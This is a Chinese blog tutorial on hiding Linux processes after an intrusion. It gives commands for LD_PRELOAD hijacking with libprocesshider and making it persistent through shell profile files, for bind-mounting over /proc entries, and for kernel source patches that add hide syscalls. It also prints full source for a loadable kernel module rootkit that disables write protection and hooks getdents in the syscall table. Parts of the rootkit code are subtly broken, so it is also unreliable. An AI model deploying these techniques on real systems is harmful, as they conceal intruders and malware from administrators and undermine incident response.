(渗透测试后期)Linux进程隐藏详解

(渗透测试后期)Linux进程隐藏详解

前言

写博客最好还是贴近实际,先用实践技术去引导,在过程中记录笔记,最后整理成博客。所谓水到渠成也。

如果脱离实际牵引,以想法驱动,最终也会性质缺缺,博客质量不够。

Linux进程基础

进程是执行程序的过程,类似于按照图纸,真正去盖房子的过程。

同一个程序可以执行多次,每次都可以在内存中开辟独立的空间来装载,从而产生多个进程。不同的进程还可以拥有各自独立的IO接口。操作系统的一个重要功能就是为进程提供方便,比如说为进程分配内存空间,管理进程的相关信息等等,就好像是为我们准备好了一个精美的地址。

进程信息是proc目录下动态生成,每个动态创建的进程ID号下面详细的记录了关于该进程的fd,mem,io,cpuset等进程信息。
在这里插入图片描述

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。

**通过它可以访问系统内核数据。**用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。

由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统动态的。在/proc下还有三个很重要的目录:net,scsi和sys。sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。

除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口。

读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

Linux进程侦查手段

  • 通过ps命令查看

ps命令:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7cuD1MT0-1648373592356)(end.assets/image-20220327165450637.png)]

ps显示进程原理

strace命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。因此对于调试程序出错是非常有用的。这里不过多展示strace的调试用法,具体可以查看详细的strace命令。

我们看下ps是如何显示进程信息的:

strace ps

通过strace命令可以看出 ps查看进程的信息都是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。

  • 通过top命令查看

top命令:

top显示进程原理

我们看下top是如何显示进程信息的:

strace top

在这里插入图片描述

通过strace命令可以看出top等查看进程的信息也是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。

  • 通过ls命令查看

既然进程信息会在/proc目录下显示,那么我们通过 ls /proc/ 也可以实现进程查看

ls /proc/pid/stat

Linux进程隐藏手段

Linux 下进程隐藏手法大体上分为两种,一种是基于用户态隐藏;一种是直接操控内核进行隐藏。

一、基于用户态的进程隐藏

修改内核代码比较难,在用户态可以选择通过劫持系统调用来隐藏进程

方法1:小隐隐于/proc/pid——劫持readdir系统调用

劫持readdir函数,主要是让程序运行假的readdir函数。同时就像DLL文件在windows上,so文件也是Linux的函数库,readdir函数就在其中。

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib

指定LD_PRELOAD文件的库就能成功。

只需:

  1. 编译出假的.so文件,包含假的readdir函数

  2. 让ps、top等程序通过LD_PRELOAD加载我们的.so文件。

操作一波:

同性交友网站github上有现成的文件,我们就不重复造轮子了:

git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ 
( 修改 processhider.c 中 process_to_filter test为你的进程名字 )

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8kIEXQ0g-1648373592356)(end.assets/image-20220327163037882.png)]

make
cp libprocesshider.so /home/root2/Desktop/tools/hide_proc
export LD_PRELOAD=/home/root2/Desktop/tools/hide_proc/libprocesshider.so

查看结果:

这是劫持readdir系统调用之前:

在这里插入图片描述

在这里插入图片描述

这是劫持readdir系统调用之后:
在这里插入图片描述
在这里插入图片描述

注:劫持函数只在一个终端有效,在新终端使用ps命令不会被劫持

注2:程序名称为本身文件名称,没有python 、/bin/sh 、./、上级路径

那么我们将动态库所在目录的绝对路径设置到~/.bashrc或/etc/profile中即可永久生效

用户级别:追加库路径到~/.bashrc文件尾

系统级别:追加库路径到/etc/profile文件尾

export LD_PRELOAD=xxxxx
source ~/.bashrc #新启终端自动加载
source /etc/profile #重启系统自动加载
额外:加载至arm

因为该方法编译出的文件只能用于amd64架构,不能应用于arm\mips等架构,那我们如何解决?

答:搭建交叉编译环境,编译出针对arm架构的so库文件——交叉编译用户态文件,不是交叉编译内核模块,所以简单的一匹

步骤:

  • 1.搭建arm-linux-gcc交叉编译环境
  • 2.利用交叉编译环境编译出.so库
  • 3.移植到arm平台重复方法1步骤

方法2:小隐隐于/proc/pid——mount 挂载

利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿。

例如隐藏进程id为1的进程信息:

mount -o bind /empty/dir /proc/1

缺点

cat /proc/pid/mountinfo 或者cat /proc/mounts 即可知道是否有挂载至/proc下的进程(不过一般没人闲着去看)

二、基于内核态的进程隐藏

编写一个rootkit(内核加载模块LKM),作为内核的一部分直接以 ring0 权限向入侵者提供服务

LKM 编程在一定意义上便是内核编程,与内核版本密切相关,只有使用相应版本内核源码进行编译的 LKM 才可以装载到对应版本的 kernel 上

所以基于内核态的进程隐藏难度较大,不过隐藏程度最深

方法3:大隐隐于内核——修改内核源码+系统调用

该方法便捷性较强

以Linux2.6.28内核为例(高版本例如5.11源码不同,不改这个函数,但思路一样)

思路:

  • 修改内核源码,进程控制块task_struts增加字段:int hide; 为1时隐藏,为0时不隐藏
  • 修改创建进程的相关代码,进程创建时,置hide为0
  • 增加系统调用hide() :将进程控制块中的hide置1;删除/proc中该进程目录

修改fs/proc/base.c文件

int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)  //内核源码,修改前
{
     unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;
     struct task_struct *reaper = get_proc_task(filp->f_path.dentry->d_inode);
     struct tgid_iter iter;
     struct pid_namespace *ns;

     if (!reaper)
      goto out_no_task;

     for (; nr < ARRAY_SIZE(proc_base_stuff); filp->f_pos++, nr++) { //这个for,填充self目录
      const struct pid_entry *p = &proc_base_stuff[nr];
      if (proc_base_fill_cache(filp, dirent, filldir, reaper, p) < 0)
       goto out;
     }

     ns = filp->f_dentry->d_sb->s_fs_info;
     iter.task = NULL;
     iter.tgid = filp->f_pos - TGID_OFFSET;
     for (iter = next_tgid(ns, iter);         
          iter.task;
          iter.tgid += 1, iter = next_tgid(ns, iter)) {  //这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数
      filp->f_pos = iter.tgid + TGID_OFFSET;
      if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) {
       put_task_struct(iter.task);
       goto out;
      }
     }
     filp->f_pos = PID_MAX_LIMIT + TGID_OFFSET;
    out:
        put_task_struct(reaper);
    out_no_task:
    	return 0;
}

将proc_pid_readdir函数中的for循环修改为

for (iter = next_tgid(ns, iter);         
      iter.task;
      iter.tgid += 1, iter = next_tgid(ns, iter)) 
	{
        //这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数
          if(!iter.task->hide)
          {
              filp->f_pos = iter.tgid + TGID_OFFSET;
              if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) 
              {
                   put_task_struct(iter.task);
                   goto out;
              }
          }
	}
}

修改include/linux/sched.h文件

struct task_struct{undefined
    ...//现有字段
    int hide;//添加hide字段,切忌不要在最开始添加,因为开始的字段的偏移量已固定,内核中其他部分已直接引用,如果在最开始添加,将导致现有代码不能正常工作
}

修改kernel/fork.c文件

p = dup_task_struct(current);
if (!p)
  goto fork_out;
p->hide=0;//添加
rt_mutex_init_task(p);

修改kernel/sys.c

//添加系统调用
asmlinkage long sys_hide()
{
    current->hide=1;
    return 0;
}
asmlinkage long sys_unhide()
{
    current->hide=0;
    return 0;
}

修改arch/x86/asm/include/unistd_32.h

#define __NR_inotify_init1 332
#define __NR_hide 333
#define __NR_unhide 334

#ifdef __KERNEL__

修改arch/x86/kernel/syscall_table_32.s

long sys_dup3   /* 330 */
long sys_pipe2
long sys_inotify_init1
long sys_hide
long sys_unhide

重新编译内核…

生成文件:test_hide.c

#include <stdio.h>
int main(){
	int pid=getpid();
	char command[80];
	sprintf(command,"ps aux|grep %d\n",pid);
    
        
	asm volatile(\
		"int $0x80"\
		::"a"(333)\
    ); // 执行333号系统调用即sys_hide
    
    
	printf("--------------------\n");
	system(command);
	printf("--------------------\n");

	asm volatile(\
	"int $0x80"\
	::"a"(334)\
    );
    
	return 0;
}

只有grep命令,原程序成功隐藏
在这里插入图片描述

注:在Linux5.11等高内核版本上也是相同的思路,找对应的内核代码,修改再编译就好了。难点在哪呢,相比于2.6内核,网上资料少很多,要自己一个个去翻看函数,比较繁琐,作者暂也没找到好函数= =…

(佩服各个内核师傅们)

方法4:大隐隐于内核——修改内核源码proc_pid_lookup

既然进程信息是proc目录下动态生成的,因此会有一系列的函数进行操作,只要其中一个函数挂掉了,这/proc下的目录就不会生成。

通过查找代码,定位到内核通过fs/proc/base.c中的proc_pid_lookup函数。

proc_pid_instantiate来在proc下创建该进程号相关的进程信息。(不同内核版本函数不同)

因此我们只需要在proc_pid_lookup中匹配要过滤的进程pid,然后直接返回就行了,如下:

在这里插入图片描述

注:内核版本(5.11)不同切要修改细节。

重新编译内核…修改下检查程序

在这里插入图片描述

只有grep命令,原程序成功隐藏

总结:

只要找到产生/proc/pid的函数链中一个函数,进行修改并重新编译,即可隐藏进程。 内核难在资料少与函数多,思路是不难的。

方法5:大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏

原理:

内核模块是一些可以让操作系统内核在需要时载入和执行的代码,这同样意味着它可以在不需要时由操作系统卸载。卸载。

目标是隐藏ps、top等命令中进程,修改ps命令的一系列函数中一个即可。

strace ps aux

一个个函数排查,发现读取/proc目录的函数为getdents,对应的系统调用为

int sys_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。

代替原先的系统调用,使用自己定义的系统调用hacked_getdents(),加上我们自己的判断语句就能实现对进程文件的过滤。

**系统调用表(sys_call_table)**管理着系统调用,获得系统调用表的地址,就可以替换系统调用函数。找到sys_getdents()的入口地址,并用hacked_getdents()的地址进行替换即可。

Linux从2.4.18内核以后就不再导出系统调用表,因此要修改系统调用,必须从软件上获取系统调用表的地址。由于不同CPU架构的系统获取系统调用表的方式不一样,这里以我自己的系统(x86_64)为例,系统调用表地址获取流程如下:

img

由于内核的页标记为只读,尝试用函数去写这个区域的内存,会产生一个内核oops。这种保护可以很简单的被规避,可通过设置cr0寄存器的WP位为0,禁止写保护CPU。

b)Linux x86_64有两套调用模式:Long模式和兼容模式,分别对应有两套调用表:sys_call_table,ia32_sys_call_table。实验中采用Long模式的系统调用表。

流程:

  • 1.获取系统调用表:grep sys_call_table /boot/System.map

  • 2.sys_getdents()的入口地址保存在数组sys_call_table以__NR_getdents为偏移的位置上。替换过程如下:

    /* 保存原始系统调用 */
    orig_getdents = sys_call_table[__NR_getdents];
    /* 替换原始系统调用 */
    sys_call_table[__NR_getdents] = hacked_getdents;
    

    恢复系统调用的代码如下:

    /* 恢复原始系统调用 */
    sys_call_table[__NR_getdents] = orig_getdents ;
    
  • 3.生成内核模块:make 加载内核模块 :insmod

代码:hook.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <asm/unistd.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/file.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("CHS");
#define DEBUG

#define hide_proc "hide_proc"

unsigned long *sys_call_table = NULL;
asmlinkage long (*orig_getdents)(unsigned int, struct linux_dirent64 __user *, unsigned int);
/* 将字符串转换为整数,失败返回-1,成功返回大于-1的整数 */
int my_atoi(char * name)
{
	char *ptr;
	int tmp, pid = 0;
	int mul = 1;
	for (ptr = name + strlen(name) - 1; ptr >= name ; ptr--) {
		tmp = *ptr - '0';	
		if (tmp < 0 || tmp > 9) {
			pid = -1;
			break;
		}
		pid += tmp * mul;
		mul *= 10;	
	}
#ifdef DEBUG2
	printk(KERN_ALERT"name:%s,pid:%d", name, pid);
#endif
	return pid;
}
/* 用户修改的系统调用*/
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
	long res;
	int pid;
	unsigned short len = 0;
	unsigned short tlen = 0;
	struct kstat fbuf;
	vfs_fstat(fd, &fbuf);
	res = (*orig_getdents)(fd, dirp, count);
	if (!res)
		return res;
	if (res == -1)
		return res;
	if (fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3) {
#ifdef DEBUG2
	printk(KERN_ALERT"proc file\n");
#endif
		tlen = res;
		while (tlen>0) {
			len = dirp->d_reclen;
#ifdef DEBUG2
			printk(KERN_ALERT"%s\n",(dirp->d_name-1));
#endif
			pid = my_atoi(dirp->d_name-1); //-1 is neccessary
			tlen -= len;
			if (strcmp(task->comm, hide_proc) == 0) {
			#ifdef DEBUG
				struct task_struct *task = pid_task(find_vpid(pid), PIDTYPE_PID);
				printk(KERN_ALERT"Find process:%s,pid:%d\n", task->comm, pid);
			#endif
				memmove(dirp, (char *)dirp + dirp->d_reclen, tlen);
				res -= len;
			}
			if (tlen)
				dirp = (struct linux_dirent64 *)((char *)dirp + dirp->d_reclen);
		}
	}
	return res;
}
/* 搜索字符串*/
static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) {
	const char *begin;
	const char *const last_possible = (const char *)haystack + haystack_len - needle_len;
	if (needle_len == 0) {
		return (void *)haystack;
	}
	if (__builtin_expect(haystack_len < needle_len, 0)) {
		return NULL;
	}
	for (begin = (const char *)haystack; begin <= last_possible; ++begin)
	{
		if (begin[0] == ((const char *)needle)[0] && !memcmp((const void *)&begin[1], (const void *)((const char *)needle + 1),needle_len - 1)) {
			return (void *)begin;
		}
	}
	return NULL;
}
/* 获取系统调用表地址*/
unsigned long* get_syscall_table_long(void) {
	char **p;
	/* Entry of syscall function */
	unsigned long sct_off = 0;
	unsigned char code[512];
	/* Obtain address of system_call */
	rdmsrl(MSR_LSTAR, sct_off);
	/* Read-in the code of system_call */
	memcpy(code, (void *)sct_off, sizeof(code));
	/* Search for pattern \xff\x14\xc5 */
	p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
	if (p) //find
	{
		unsigned long *sct = *(unsigned long **)((char *)p + 3);
		//Stupid compiler doesn't want to do bitwise math on pointers
		sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000);
		return sct;
	}
	else
		return NULL;
}
/* 屏蔽写保护 */
inline unsigned long disable_wp(void)
{
	unsigned long cr0;
	preempt_disable(); //diable preempt
	barrier();
	cr0 = read_cr0();
	write_cr0(cr0 & ~X86_CR0_WP);
	return cr0;
}
/* 恢复写保护*/
inline void restore_wp(unsigned long cr0)
{
	write_cr0(cr0);
	barrier();
	preempt_enable_no_resched();
}
/* 劫持系统调用模块初始化函数*/
static int __init hook_init(void) {
	unsigned long orig_cr0 = disable_wp(); //关闭写保护
	sys_call_table = get_syscall_table_long(); //获得系统调用表地址
	if (sys_call_table == 0) {
		printk(KERN_ALERT"sys_call_table is NULL!\n");
		return -1;
	}
#ifdef DEBUG
	printk(KERN_ALERT"Find system call table address:%p\n", sys_call_table);
#endif
	/* 保存原始系统调用 */
	orig_getdents = sys_call_table[__NR_getdents];
	/* 替换原始系统调用*/
	sys_call_table[__NR_getdents] = hacked_getdents;
#ifdef DEBUG2
	orig_unhide = sys_call_table[__NR_unhide];
	sys_call_table[__NR_unhide] = hacked_unhide;
#endif
	restore_wp(orig_cr0); //恢复写保护
	return 0;
}
/* 劫持系统调用模块清理函数*/
static void __exit hook_exit(void) {
	unsigned long orig_cr0 = disable_wp();
	/* 恢复系统调用*/
	sys_call_table[__NR_getdents] = orig_getdents;
#ifdef DEBUG2
	sys_call_table[__NR_unhide] = orig_unhide;
#endif
	restore_wp(orig_cr0);
	return;
}
module_init(hook_init);
module_exit(hook_exit);

Makefile:

obj-m+=hook.o
all:
	make -C /usr/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean

Makefile另写法(网上资料):

obj-m+=hook.o
all:
	make -C /usr/src/linux-(内核版本) SUBDIRS=$PWD modules

insmod hook.ko挂载模块,rmmod hook卸载模块

结果:

img

总结

Linux一切皆文件,进程隐藏的本质还是文件隐藏

  • 1
    点赞
  • 17
    收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页
评论 2

打赏作者

大瑞大

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值